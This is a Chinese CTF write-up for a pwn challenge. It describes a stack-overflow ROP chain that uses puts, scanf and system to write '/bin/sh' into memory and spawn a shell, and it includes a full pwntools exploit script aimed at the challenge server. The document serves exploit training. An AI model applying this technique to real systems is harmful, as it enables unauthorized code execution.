看上去很简单,很多东西都给了
但是。。。。。
不愧是300分的题目,还会耍人了
在程序中可以明显的看到system,还有hint,从hint可以找到cat flag(可以直接作为system的参数传入)
然而并没有什么卵用,如果直接这样过去,只能得到“hello world!”
明显耍人,考虑拿到shell比较靠谱
要拿到shell,在这个函数中没有read函数——有scanf函数——要找到可以写的地址
关于scanf的参数问题,%s在内存中有,地址给一个可写的地址就好
重新整理思路:
主要是栈溢出,然后通过scanf在内存中写入/bin/sh
然后跳转到system,并且传入/bin/sh的地址
具体步骤
- 先填入0x13个‘a'
- 然后覆盖ebp,先选择跳转到puts函数,打印一个已经在内存中存在的字符串——这个步骤主要是为了区分什么时候send,方便使用recvuntil(),确定在什么时候发送"/bin/sh",以免和前面发送的数据重合在一起
- 然后调用scanf,传入%s,和一个可写的地址(只要是vmmap出来的可写的地址都行)
- 写入这个地址之后,跳转到system,将刚刚写入的地址给system,然后就可以执行shell了
遇到的问题
- 首先是这种题目会耍人,300分的题目没有这么容易
- 注意ebp,一定要覆盖,一般pop的个数比传入的参数大1的时候——之前覆盖ebp的位置也被pop掉了,所以在后面也需要再次覆盖这个地址
- 多尝试
拿到flag
代码
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
proc_name = './memory.838286edf4b832fd482d58ff1c217561'
proc_elf =ELF(proc_name)
context.log_level = 'debug'
#io = process(proc_name)
io = remote('pwn2.jarvisoj.com',9876)
#print proc.pidof(io)[0]
raw_input("debug")
system = 0x08048440
buf = 0x1111
scanf = 0x080484A0
percent_s = 0x08048817
pop2 = 0x0804877e
pop3 = 0x0804877d
aim_addr = 0x0804A002
puts =0x08048430
a123 = 0x08048861
temp = 0x0804A01C
temp_des = 0x08048450
payload = 'a'*0x13
payload += p32(buf)#epb
payload += p32(puts)
payload += p32(pop2)
#payload += p32(percent_s)
payload += p32(a123)
payload += p32(buf)
payload += p32(scanf)
payload += p32(pop3)
payload += p32(percent_s)
payload += p32(temp)
#payload +=p32(buf)
payload += p32(system)
payload += p32(system)#exec
#payload += p32()#return address
payload += p32(system)
payload += p32(temp)
#payload += p32(aim_addr)
io.recvuntil('go go go ...')
io.sendline(payload)
#sleep(1)
io.recvuntil('vwxyz')
bin_sh ='/bin/sh'+'x00'
io.send(bin_sh)
'''
io.recvuntil('go go go ...
')
print 'payload2
'
payload2 = 'a'*0x13
payload2 += p32(buf)
payload2 += p32(system)
payload2 += p32(system)
payload2 += p32(hint_int)
'''
#io.send(payload2)
#io.interactive()
#sleep(100)
#io.send('cat flag')
io.interactive()